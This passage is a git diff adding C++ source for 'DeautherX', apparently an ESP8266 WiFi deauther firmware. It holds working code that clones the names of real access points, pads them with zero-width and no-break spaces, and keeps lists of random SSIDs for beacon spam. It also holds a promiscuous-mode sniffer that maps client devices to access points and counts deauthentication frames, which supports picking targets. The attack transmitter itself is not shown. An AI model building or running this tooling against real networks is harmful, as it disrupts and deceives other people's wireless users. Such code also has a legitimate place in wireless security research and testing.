buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval * 1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num) {
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom() {
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
list->replace(num, newSSID);
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if (len > 32) {
|
||||
name = name.substring(0, 32);
|
||||
len = 32;
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
||||
84
DeautherX/SSIDs.h
Normal file
84
DeautherX/SSIDs.h
Normal file
@@ -0,0 +1,84 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
#define SSID_LIST_SIZE 60
|
||||
|
||||
|
||||
extern uint32_t currentTime;
|
||||
extern Accesspoints accesspoints;
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(String path);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
|
||||
class SSIDs {
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID {
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
SimpleList<SSID>* list;
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
476
DeautherX/Scan.cpp
Normal file
476
DeautherX/Scan.cpp
Normal file
@@ -0,0 +1,476 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "Scan.h"
|
||||
|
||||
#include "settings.h"
|
||||
#include "wifi.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Scan::Scan() {
|
||||
list = new SimpleList<uint16_t>;
|
||||
}
|
||||
|
||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
if (!isSniffing()) return;
|
||||
|
||||
packets++;
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int Scan::findAccesspoint(uint8_t* mac) {
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel, true);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* AP Scan */
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
// Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
wifi::stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
|
||||
|
||||
// enable sniffer
|
||||
wifi::stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings::getWebSettings().enabled) wifi::resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::update() {
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// sniffer
|
||||
if (isSniffing()) {
|
||||
// update packet list every 1s
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings::getSnifferSettings().channel_time)) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::setup() {
|
||||
save(true);
|
||||
}
|
||||
|
||||
void Scan::stop() {
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
|
||||
void Scan::setChannel(uint8_t ch) {
|
||||
if (ch > 14) ch = 1;
|
||||
else if (ch < 1) ch = 14;
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch, true);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > 14) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
}
|
||||
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Scan::save(bool force) {
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
}
|
||||
|
||||
bool Scan::isSniffing() {
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
}
|
||||
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
void Scan::selectAll() {
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
}
|
||||
|
||||
void Scan::deselectAll() {
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
}
|
||||
|
||||
void Scan::printAll() {
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
}
|
||||
|
||||
void Scan::printSelected() {
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
}
|
||||
|
||||
String Scan::getMode() {
|
||||
switch (scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return str(SC_MODE_OFF);
|
||||
|
||||
case SCAN_MODE_APS:
|
||||
return str(SC_MODE_AP);
|
||||
|
||||
case SCAN_MODE_STATIONS:
|
||||
return str(SC_MODE_ST);
|
||||
|
||||
case SCAN_MODE_ALL:
|
||||
return str(SC_MODE_ALL);
|
||||
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return str(SC_MODE_SNIFFER);
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
double Scan::getScaleFactor(uint8_t height) {
|
||||
return (double)height / (double)getMaxPacket();
|
||||
}
|
||||
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
}
|
||||
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
||||
String Scan::getEndSSID(){
|
||||
String ssidA = "[Nothing]";
|
||||
for (size_t i = 0; i < accesspoints.count(); i++)
|
||||
{
|
||||
if (accesspoints.getSelected(i) && accesspoints.getEnc(i) != ENC_TYPE_NONE){
|
||||
ssidA = accesspoints.getSSID(i);
|
||||
}
|
||||
}
|
||||
|
||||
return ssidA;
|
||||
}
|
||||
String Scan::getEndRSSI(){
|
||||
String ssidA = "-100";
|
||||
for (size_t i = 0; i < accesspoints.count(); i++)
|
||||
{
|
||||
if (accesspoints.getSelected(i) && accesspoints.getEnc(i) != ENC_TYPE_NONE){
|
||||
ssidA = accesspoints.getRSSI(i);
|
||||
}
|
||||
}
|
||||
|
||||
return ssidA;
|
||||
}
|
||||
96
DeautherX/Scan.h
Normal file
96
DeautherX/Scan.h
Normal file
@@ -0,0 +1,96 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define SCAN_MODE_OFF 0
|
||||
#define SCAN_MODE_APS 1
|
||||
#define SCAN_MODE_STATIONS 2
|
||||
#define SCAN_MODE_ALL 3
|
||||
#define SCAN_MODE_SNIFFER 4
|
||||
#define SCAN_DEFAULT_TIME 15000
|
||||
#define SCAN_DEFAULT_CONTINUE_TIME 10000
|
||||
#define SCAN_PACKET_LIST_SIZE 64
|
||||
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
|
||||
extern uint8_t wifiMode;
|
||||
|
||||
extern void setWifiChannel(uint8_t ch, bool force);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(const String path);
|
||||
extern String escape(String str);
|
||||
|
||||
class Scan {
|
||||
public:
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
String getMode();
|
||||
double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
String getEndSSID();
|
||||
String getEndRSSI();
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
